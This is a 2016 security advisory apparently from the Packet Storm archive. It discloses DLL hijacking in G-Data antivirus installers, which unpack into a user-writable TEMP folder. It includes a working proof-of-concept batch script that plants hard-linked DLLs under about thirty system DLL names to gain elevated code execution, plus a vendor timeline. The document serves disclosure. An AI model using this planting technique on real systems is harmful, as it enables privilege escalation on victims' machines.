exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

G-Data DLL Hijacking

G-Data DLL Hijacking
Posted Apr 18, 2016
Authored by Stefan Kanthak

G-Data security products suffer from a DLL hijacking vulnerability.

tags | exploit
systems | windows
SHA-256 | 29c328336f7c955d9cb79a397d3a0fdbdb4936d0cfcc3774ef65a1fcb51f5029

G-Data DLL Hijacking

Change Mirror Download
Hi @ll,

the executable installers of G-Data's "security" products for
Windows, available from <https://www.gdata.de/downloads>, allow
escalation of privilege!


The downloadable executables are self-extractors containing the
real executable installer as resource: they create the subdirectory
%TEMP%\{guidguid-guid-guid-guid-guidguidguid}
using another resource containing the hardcoded value of this GUID,
extract the real executable installer into it and finally start it.

The permissions of this subdirectory allow "full access" for the
unprivileged user who started the self-extractor, enabling him to
create arbitrary files in this subdirectory.

The real installer loads multiple Windows system DLLs from this
subdirectory instead of Windows' "system directory"
%SystemRoot%\System32\ and executes them with elevated rights.


On Windows 7:
dbghelp.dll, dnsapi.dll, oleacc.dll, netapi32.dll, netutils.dll,
srvcli.dll, wkscli.dll, version.dll, uxtheme.dll/dwmapi.dll,
cryptsp.dll, ncrypt.dll, bcrypt.dll, profapi.dll, msimg32.dll,
riched32.dll, iphlpapi.dll, winnsi.dll, rasapi32.dll, rasman.dll,
rtutils.dll, sensapi.dll, rasadhlp.dll, ntmarta.dll, ntshrui.dll,
cscapi.dll, slc.dll, windowscodecs.dll, apphelp.dll, mpr.dll,
userenv.dll, schannel.dll, credssp.dll, secur32.dll, gpapi.dll,
samcli.dll


See <https://cwe.mitre.org/data/definitions/379.html> for the well-
known and well-documented unsafe TEMP directory vulnerability, and
<https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html> plus
<https://capec.mitre.org/data/definitions/471.html> for the well-
known and well-documented unsafe DLL search path vulnerability.


Proof of concept/demonstration:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save
it in your "Downloads" directory;

2. download "G DATA ANTIVIRUS" from <https://www.gdata.de/downloads>
and save it in your "Downloads" directory (the resulting file
is named G_DATA_AntiVirus.exe);

3. create the following file as SENTINEL.CMD in your "Downloads"
directory:

--- SENTINEL.CMD---
G_DATA_AntiVirus.exe

:LOOP
If Not Exist "%TEMP%\{1C2DF59B-0172-4ECB-9A25-7597A4A26A96}\INT_R_BASE_AV.exe" Goto :LOOP

For %%! In (dbghelp dnsapi oleacc netapi32 netutils srvcli wkscli
version uxtheme dwmapi cryptsp ncrypt bcrypt profapi
msimg32 riched32 iphlpapi winnsi rasapi32 rasman rtutils
sensapi rasadhlp ntmarta ntshrui cscapi slc windowscodecs
apphelp mpr userenv schannel credssp secur32 gpapi samcli) Do MkLink /H
"%TEMP%\{1C2DF59B-0172-4ECB-9A25-7597A4A26A96}\%%!.dll" "%~dpn0.dll"
--- EOF ---

4. run the batch script per double-click: it starts the downloaded
self-extractor and plants the DLLs for hijacking;

5. notice the message boxes displayed from the DLLs.

PWNED!


stay tuned
Stefan Kanthak


PS: I really LOVE (security) software with such trivial beginner's
errors. It's a tell-tale sign to better stay away from it!


Timeline:
~~~~~~~~~

2016-06-03 initial report sent to vendor: they provided their
real installers for download, allowing DLL hijacking
in the users "Downloads" directory

2016-03-06 vendor acknowledges receipt:
"At the moment we are exploring the best way to fix it."

2016-04-13 reply from vendor:
"We replaced all installers and tools in the download
area with secure versions."

2016-04-17 No, these "installers" are NOT secure, they use UNSAFE
temp directories and just shift the attack vector a
tiny little bit.

2016-04-18 reply from vendor:
"We assume that this is pure speculation."

2016-04-18 OUCH!
<https://bugzilla.mozilla.org/show_bug.cgi?id=811557>,
<https://code.google.com/p/google-security-research/issues/detail?id=440>

2016-04-18 reply from vendor:
"the attacker needs access to the system for that."

2016-04-18 report published
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close